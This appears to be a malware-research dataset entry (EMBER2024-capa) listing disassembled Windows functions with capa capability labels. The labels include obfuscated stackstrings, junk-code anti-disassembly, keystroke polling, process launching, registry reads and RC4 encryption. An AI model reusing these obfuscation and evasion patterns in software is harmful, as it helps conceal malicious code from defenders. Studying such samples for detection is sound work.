joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4518ad
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 8], 0
add byte [eax], al
push 0xe
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.00451fdc
add esp, 0xc
test dword [esp], ebx
and esp, 0xffffffff
jo 0x4518ec
pushf
and edi, 0xffffffff
xchg ecx, edi
xchg ecx, edi
cmp ebx, dword [esp + 0x10]
add esp, 0
popf
jae 0x4518e9
jno 0x4518ec
lcall 0x45c6, 0x51e845c6
in eax, dx
je 0x4518bb
mov byte [ebp - 0x18], 0x51
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0xe], 0x66
mov byte [ebp - 0x17], 0x73
inc ebp
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0xd], 0x79
mov byte [ebp - 0x16], 0x70
mov byte [ebp - 0x11], 0x34
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0x15], 0x64
mov byte [ebp - 0x10], 0x33
mov byte [ebp - 0xb], 0
mov byte [ebp - 0x14], 0x66
mov byte [ebp - 0xf], 0x4f
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 0x17]
sub cl, 1
mov byte [ebp - 0x17], cl
mov dl, byte [ebp - 0x12]
sub dl, 1
mov byte [ebp - 0x12], dl
mov al, byte [ebp - 0xd]
sub al, 1
mov byte [ebp - 0xd], al
mov cl, byte [ebp - 0x16]
sub cl, 1
mov byte [ebp - 0x16], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0x15]
sub cl, 1
mov byte [ebp - 0x15], cl
mov dl, byte [ebp - 0x10]
sub dl, 1
mov byte [ebp - 0x10], dl
mov al, byte [ebp - 0x14]
sub al, 1
mov byte [ebp - 0x14], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
jne 0x451997
je 0x451999
jg 0x4519a9
jne 0x45199d
xchg edx, edi
xchg edx, edi
xchg edi, edx
xchg edi, edx
jle 0x4519a9
mov ebp, 0xce96e8d3
invalid
call fcn.0043e844
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4519be
xor eax, eax
jmp 0x451a48
and eax, eax
jl 0x4519c2
push eax
pop eax
jl 0x4519d0
mov esp, esp
jge 0x4519ca
jae 0x4519cc
jge 0x4519d0
ljmp 0x8b52:0xe8558d08
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.00452398
mov dword [ebp - 4], eax
push 0xe
push 0
lea ecx, [ebp - 0x18]
push ecx
call fcn.00451fdc
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x4519fa
xor eax, eax
jmp 0x451a48
stc
je 0x451a0f
pushf
ror esp, 0
cmp esp, 0x67d7
popf
jle 0x451a0c
jne 0x451a0f
call 0x53416f9e
mov edx, dword [ebp - 4]
push edx
call fcn.0045b8ce
add esp, 4
test dword [esp], ecx
not ecx
not ecx
jge 0x451a24
jge 0x451a3d
jmp 0x451a28
jns 0x451a2a
lea edx, [edx + 0x95a]
lea edx, [edx - 0x95a]
je 0x451a38
jl 0x451a3d
mov edi, 0x458bbb84
or al, 0x50
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x452226
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push 0xc
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.00451fdc
add esp, 0xc
and ebx, ebx
ror esp, 0
not ecx
not ecx
cmp ecx, 0x3d51
jl 0x45226b
pushf
lea ebx, [ebx]
shr ecx, 0
or ebx, ebx
popf
jbe 0x452264
jge 0x452266
jp 0x452268
jge 0x45226b
mov ecx, 0x4ef045c6
mov byte [ebp - 0x10], 0x4e
mov byte [ebp - 0xb], 0x68
mov byte [ebp - 0xf], 0x66
mov byte [ebp - 0xa], 0x66
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 9], 0x43
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 8], 0x70
mov byte [ebp - 0xc], 0x62
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x42
mov byte [ebp - 5], 0
xor ecx, 0
jns 0x4522a0
shr eax, 0
jnp 0x4522bb
pushf
cmp edx, dword [esp + 0x10]
xchg ebx, edx
xchg ebx, edx
cmp esi, dword [esp]
popf
jp 0x4522b6
je 0x4522b8
jp 0x4522bb
sub eax, 0x80f04d8a
jmp 0xf092aac5
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
mov cl, byte [ebp - 0xa]
sub cl, 1
mov byte [ebp - 0xa], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 9]
sub al, 1
mov byte [ebp - 9], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 7]
sub cl, 1
mov byte [ebp - 7], cl
mov dl, byte [ebp - 6]
sub dl, 1
mov byte [ebp - 6], dl
xor eax, 0
jno 0x45233e
pushf
cmp esi, edi
cmp ecx, dword [esp]
lea edx, [edx]
popf
lea ecx, [ecx + 0x1eb8]
lea ecx, [ecx - 0x1eb8]
jp 0x452339
xchg esi, eax
xchg esi, eax
jo 0x45233e
mov edi, 0xfe99d1e8
dec dword [ecx + 0x7d83fc45]
cld
add byte [ebp + 4], dh
call fcn.0043bd14
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x452350
xor eax, eax
jmp 0x452391
stc
jbe 0x452353
cmp eax, dword [esp + 8]
cmp esp, 0x6c3b
jge 0x45236e
pushf
mov esp, esp
popf
xchg edx, edx
js 0x452369
xchg edx, eax
xchg edx, eax
jl 0x45236e
ljmp 0x4d8b:0x50f0458d
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00452398
mov dword [ebp - 0x14], eax
push 0xc
push 0
lea edx, [ebp - 0x10]
push edx
call fcn.00451fdc
add esp, 0xc
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x458d3b
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0x40
push 0
push 0x426cf4
call fcn.00437325
add esp, 0xc
mov byte [0x426cf4], 0x80
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp + 8]
mov dword [edx], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0xefcdab89
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], 0x98badcfe
mov edx, dword [ebp + 8]
mov dword [edx + 0xc], 0x10325476
pop ebp
ret
Function at 0x459757
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0xd
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.00451fdc
add esp, 0xc
rol esp, 0
jle 0x45977e
je 0x459777
mov eax, eax
jg 0x45977e
add eax, 0x45c632ba
call 0xe98b5dcd
mov byte [ebp - 0x16], 0x75
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x16], 0x75
mov byte [ebp - 0x15], 0x4d
mov byte [ebp - 0x14], 0x62
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x75
mov byte [ebp - 0x11], 0x46
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0
mov eax, eax
lea ebx, [ebx + 0x2ef9]
sub ebx, 0x2ef9
test dword [esp], esi
jb 0x4597d0
nop
mov eax, eax
jo 0x4597ca
jo 0x4597cc
jae 0x4597d0
xor eax, 0xe84d8a20
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 0x17]
sub cl, 1
mov byte [ebp - 0x17], cl
mov dl, byte [ebp - 0x12]
sub dl, 1
mov byte [ebp - 0x12], dl
mov al, byte [ebp - 0xd]
sub al, 1
mov byte [ebp - 0xd], al
mov cl, byte [ebp - 0x16]
sub cl, 1
mov byte [ebp - 0x16], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0x15]
sub al, 1
mov byte [ebp - 0x15], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0x14]
sub dl, 1
mov byte [ebp - 0x14], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
xchg edx, ecx
xchg edx, ecx
jns 0x45983e
js 0x459845
xchg esp, esp
jns 0x459845
mov edi, 0xfe4ffae8
dec dword [ecx + 0x7d83f845]
clc
add byte [ebp + 7], dh
call fcn.0043e844
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x45985a
xor eax, eax
jmp 0x4598f3
jge 0x45985c
je 0x45985e
test ecx, edi
jb 0x45987a
pushf
not edx
not edx
test dword [esp], eax
neg edi
neg edi
popf
jmp 0x459873
jne 0x459875
jbe 0x459877
jae 0x45987a
jmp 0x522de60b
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00452398
mov dword [ebp - 4], eax
cmp ebx, esi
js 0x45988e
jne 0x459897
jge 0x459892
je 0x459897
mov eax, 0xd6a0132
push 0xd
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.00451fdc
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x4598b1
xor eax, eax
jmp 0x4598f3
nop
jnp 0x4598b4
je 0x4598d3
pushf
jno 0x4598ba
xor ecx, dword [esp + 4]
xor ecx, dword [esp + 4]
xor eax, edx
xor eax, edx
xchg ecx, eax
xchg ecx, eax
popf
jno 0x4598cc
lea ecx, [ecx]
jns 0x4598d0
jne 0x4598d3
lcall 0xf2e8, 0x51fc4d8b
pop ds
add byte [eax], al
mov ecx, dword [ebp - 4]
push ecx
call fcn.0045b8ce
add esp, 4
jae 0x4598e1
jge 0x4598f0
pushf
jl 0x4598e7
popf
mov esp, esp
jmp 0x4598ed
jl 0x4598f0
mov esp, 0x5ffc55ff
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45befa
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xc
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.00451fdc
add esp, 0xc
xchg esp, esp
lea esi, [esi + 0x5ea]
lea esi, [esi - 0x5ea]
jge 0x45bf2a
mov esp, esp
jl 0x45bf2a
mov esp, 0x45c63f33
in al, dx
inc edi
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x66
mov byte [ebp - 0x11], 0x66
mov byte [ebp - 0x10], 0x4d
mov byte [ebp - 0xf], 0x6a
mov byte [ebp - 0xe], 0x63
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x62
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x7a
mov byte [ebp - 9], 0
jb 0x45bf5c
cmp edx, dword [esp]
jle 0x45bf61
jp 0x45bf63
jnp 0x45bf72
pushf
std
cld
popf
jne 0x45bf6d
jns 0x45bf6f
jp 0x45bf72
xor eax, 0x80ec4d8a
jmp 0xec93477c
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 0x13]
sub cl, 1
mov byte [ebp - 0x13], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
xchg ecx, ecx
jb 0x45bfea
pushf
rol eax, 0
rol ebx, 0x10
rol ebx, 0x10
popf
lea eax, [eax]
jo 0x45bfe7
jae 0x45bfea
mov ebp, 0xfe2855e8
dec dword [ecx + 0x7d83f845]
clc
add byte [ebp + 7], dh
call fcn.0043e844
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x45bfff
xor eax, eax
jmp 0x45c0b5
shl edi, 0
push eax
add eax, 0xd5a
ror eax, 0x13
pop eax
js 0x45c00e
jbe 0x45c02b
pushf
shr esp, 0
add eax, dword [esp]
sub eax, dword [esp]
xor esp, 0
not esi
not esi
popf
lea esi, [esi]
xchg esp, esp
ja 0x45c02b
mov edi, 0x50ec458d
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00452398
mov dword [ebp - 4], eax
push 0xc
push 0
lea edx, [ebp - 0x14]
push edx
call fcn.00451fdc
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x45c08e
cmp esi, dword [esp]
jns 0x45c056
call 0x45c05b
lea esp, [esp + 4]
je 0x45c06e
jle 0x45c063
jns 0x45c065
xchg ebx, esi
xchg ebx, esi
jne 0x45c06b
jne 0x45c06e
call 0x514205fd
mov eax, dword [ebp - 4]
push eax
call fcn.0045b8ce
add esp, 4
nop
and ecx, 0xffffffff
jno 0x45c085
jg 0x45c082
jo 0x45c085
add eax, 0x51084d8b
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
jmp 0x45c0b5
cmp edx, esi
jmp 0x45c092
dec edi
inc edi
jg 0x45c0b3
pushf
lea esp, [esp]
ror ecx, 0xd
rol ecx, 0xd
nop
ror edi, 0x10
rol edi, 0x10
popf
mov edx, edx
jbe 0x45c0ae
jno 0x45c0b0
jle 0x45c0b3
call 0x5ea580ea
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x45c5bc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0xf
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.00451fdc
add esp, 0xc
jne 0x45c5d7
ja 0x45c5d9
js 0x45c5e3
xchg edx, edx
jge 0x45c5df
nop
jns 0x45c5e3
sub eax, 0x48e845c6
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0xc], 0x68
mov byte [ebp - 0x16], 0x75
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x14], 0x6a
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0x15], 0x58
mov byte [ebp - 0xa], 0
mov byte [ebp - 0x11], 0x70
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x10], 0x78
mov byte [ebp - 0xf], 0x4d
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 0xb], 0x42
ror esp, 0
cmp esp, 0x36f7
jnp 0x45c631
lea ebx, [ebx]
jo 0x45c62e
jp 0x45c631
add eax, 0x80e84d8a
jmp 0xe8934e3b
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 0x13]
sub al, 1
mov byte [ebp - 0x13], al
mov cl, byte [ebp - 0x16]
sub cl, 1
mov byte [ebp - 0x16], cl
mov dl, byte [ebp - 0x15]
sub dl, 1
mov byte [ebp - 0x15], dl
mov al, byte [ebp - 0xd]
sub al, 1
mov byte [ebp - 0xd], al
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0x17]
sub dl, 1
mov byte [ebp - 0x17], dl
mov al, byte [ebp - 0x10]
sub al, 1
mov byte [ebp - 0x10], al
mov cl, byte [ebp - 0x12]
sub cl, 1
mov byte [ebp - 0x12], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
mov cl, byte [ebp - 0x11]
sub cl, 1
mov byte [ebp - 0x11], cl
mov dl, byte [ebp - 0xc]
sub dl, 1
mov byte [ebp - 0xc], dl
call fcn.0043bd14
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x45c6bd
xor eax, eax
jmp 0x45c736
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00452398
mov dword [ebp - 8], eax
push 0xf
push 0
lea edx, [ebp - 0x18]
push edx
call fcn.00451fdc
add esp, 0xc
cmp dword [ebp - 8], 0
je 0x45c734
xchg edx, ebx
xchg edx, ebx
jns 0x45c6e9
je 0x45c6ff
lea edx, [edx]
lea edi, [edi + 0x33c]
lea edi, [edi - 0x33c]
mov ecx, ecx
jne 0x45c6ff
add eax, 0xf8458bcd
mov eax, dword [ebp - 8]
push eax
call fcn.0045b8ce
add esp, 4
test edi, ecx
cmc
jnp 0x45c727
pushf
ror ecx, 3
rol ecx, 3
xor ecx, dword [esp + 8]
xor ecx, dword [esp + 8]
popf
jne 0x45c724
jp 0x45c727
lcall 0x558b, 0x510c4d8b
or byte [edx - 1], dl
push ebp
clc
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 8]
jmp 0x45c736
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x409460
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x468e1b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045d680
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4094e2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045b42d
mov eax, dword [eax]
push 0x47f1d0
push eax
call fcn.0044d8b4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045d90b
test bl, bl
je 0x4094e2
push 0x47f1d0
lea ecx, [esp + 0xc]
call fcn.0045dc9b
push 0x482d4c
lea ecx, [esp + 0xc]
call fcn.0045dc9b
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40951e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045d90b
jmp 0x4095e9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4095a2
lea edx, [esp + 0x7c]
push 0x482d48
push edx
call fcn.0044d8b4
add esp, 8
test eax, eax
je 0x4095a2
lea eax, [esp + 0x7c]
push 0x482d44
push eax
call fcn.0044d8b4
add esp, 8
test eax, eax
je 0x4095a2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x409532
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045d90b
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x409de0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x409e42
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x409e50
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x468e9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4896c8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x409f88
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x409eb6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045d90b
xor eax, eax
jmp 0x409fff
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045da48
push esi
lea ecx, [esp + 0xc]
call fcn.0045dcd7
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x409fdd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00409de0
test eax, eax
jne 0x409fdd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00409de0
test eax, eax
jne 0x409fdd
lea eax, [esp + 0x14]
push 0x482d60
push eax
call fcn.0044e8f0
mov esi, eax
add esp, 8
test esi, esi
jne 0x409fbc
lea ecx, [esp + 0x14]
push 0x482d5c
push ecx
call fcn.0044e870
mov esi, eax
add esp, 8
test esi, esi
jne 0x409fbc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x409fbf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045d9f8
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x409ece
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045d90b
xor eax, eax
jmp 0x409fff
mov byte [esi], 0
push 0x482d58
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045d90b
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41a440
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41a4ae
cmp si, 0x69
ja 0x41a4ae
add esi, 0xffd0
cmp si, 0x11
je 0x41a47e
push 0x11
call edi
test ax, ax
jge 0x41a47e
or esi, 0x2000
cmp si, 0x10
je 0x41a493
push 0x10
call edi
test ax, ax
jge 0x41a493
or esi, 0x4000
cmp si, 0x12
je 0x41a4a8
push 0x12
call edi
test ax, ax
jge 0x41a4a8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41a4bb
mov esi, 0xbd
jmp 0x41a46f
cmp si, 0x6e
jne 0x41a4c8
mov esi, 0xbe
jmp 0x41a46f
cmp si, 0x6f
jne 0x41a469
mov esi, 0xbf
jmp 0x41a46f

Function at 0x41bb60
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x499db8]
xor edx, edx
cmp eax, edx
jne 0x41bb86
xor eax, eax
mov byte [eax + 0x499cb8], al
inc eax
cmp eax, 0x100
jl 0x41bb6e
mov dword [0x499db8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x499cb8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41bc17
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41bbea
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41bbb8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41bc90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41bce3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41bcca
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret